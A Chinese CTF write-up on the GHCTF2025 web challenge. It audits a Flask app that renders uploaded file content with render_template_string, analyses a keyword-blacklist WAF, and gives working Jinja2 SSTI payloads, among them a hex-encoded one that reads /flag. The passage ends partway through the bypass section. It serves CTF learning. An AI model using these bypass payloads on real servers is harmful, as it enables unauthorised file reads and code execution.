GHCTF2025-WEB题解:如何用SSTI绕过WAF黑名单(附实战payload)
从GHCTF2025实战出发:深度拆解SSTI黑名单绕过策略与高阶Payload构造
最近在GHCTF2025的WEB赛道上,一道看似简单的文件上传题目,却让不少选手陷入了“知道有洞,但payload总被拦截”的困境。这道题表面上是文件上传,实际上却是一场针对SSTI(服务器端模板注入)绕过能力的深度考验。我在实际测试中发现,很多选手能够快速识别出SSTI漏洞的存在,但在面对严格的黑名单过滤时,却往往束手无策,反复尝试的payload都被WAF无情拦截。
这种情况在真实的渗透测试和CTF比赛中并不少见。WAF(Web应用防火墙)的过滤规则越来越智能,传统的{ {7*7}}测试虽然能确认漏洞,但真正要执行命令、读取文件时,那些包含os、flag、__builtins__等关键词的payload几乎都会被第一时间拦截。这道题的精妙之处在于,它模拟了一个相对真实的防御环境——不仅过滤常见敏感词,还对下划线这种在Python反射中至关重要的字符进行了拦截。
本文将从实战角度出发,不局限于GHCTF2025这一道题目,而是系统性地探讨SSTI黑名单绕过的核心思路、技术原理和进阶技巧。我会结合自己多次踩坑的经验,分享几种真正有效的绕过方法,并深入分析每种方法背后的Python/Jinja2特性。无论你是CTF新手,还是有一定经验的安全爱好者,相信都能从中获得实用的技术提升。
1. 理解题目环境与WAF过滤机制
在开始构造绕过payload之前,我们必须先彻底理解题目设置的防御环境。很多选手失败的原因不是技术不行,而是没有仔细分析过滤规则,盲目尝试各种已知的payload。
1.1 代码审计:识别真正的攻击面
题目虽然以文件上传为入口,但通过代码审计可以发现,上传功能本身被严格限制:
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'} def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS 这是典型的白名单过滤,只允许特定扩展名的文件。更重要的是secure_filename()函数的使用,它会清理文件名中的特殊字符,防止路径遍历等攻击。真正的漏洞点在于文件查看功能:
tmp_str = """<!DOCTYPE html> <html lang="zh"> <head>...</head> <body> <h1>文件内容:{name}</h1> <pre>{data}</pre> </body> </html>""".format(name=safe_filename, data=file_data) return render_template_string(tmp_str) 这里的关键是render_template_string()函数,它将用户控制的文件内容直接渲染为模板。如果文件内容包含Jinja2模板语法,就会被执行。
1.2 WAF黑名单分析
题目中的WAF实现相对简单但有效:
def contains_dangerous_keywords(file_path): dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__', 'flag',] with open(file_path, 'rb') as f: file_content = str(f.read()) for keyword in dangerous_keywords: if keyword in file_content: return True return False 这个过滤列表设计得相当有针对性:
| 过滤关键词 | 在SSTI中的作用 | 绕过难度 |
|---|---|---|
_ | 属性访问分隔符、双下划线前缀 | 高 |
os | 执行系统命令的关键模块 | 中 |
subclasses | 获取子类链的核心方法 | 高 |
__builtins__ | 内置函数和模块的入口 | 高 |
__globals__ | 访问全局命名空间 | 高 |
flag | 目标文件名 | 低 |
注意:这里的过滤是内容检测,不是参数名检测。这意味着即使我们将payload放在URL参数中,只要文件内容包含这些关键词,就会被拦截。
1.3 初步测试与漏洞确认
在构造复杂payload之前,先用最简单的测试确认漏洞:
# 创建测试文件 echo '{ {7*7}}' > test.txt # 上传后访问 curl http://target/file/test.txt 如果返回的页面中显示49而不是{ {7*7}},就确认了SSTI漏洞的存在。这个测试payload不包含任何黑名单关键词,所以能顺利通过WAF。
2. 基础绕过技术:编码与字符串操作
当直接使用敏感关键词被拦截时,最直接的思路就是不让这些关键词以明文形式出现。编码和字符串操作是绕过关键词过滤的经典方法。
2.1 十六进制编码绕过
Python和Jinja2都支持十六进制表示法,这为我们绕过关键词检测提供了可能。在Python字符串中,\x后跟两个十六进制数字表示一个字符。
原始payload(会被拦截):
{ { lipsum.__globals__.__builtins__.open('/flag').read() }} 十六进制编码版本:
{ { lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }}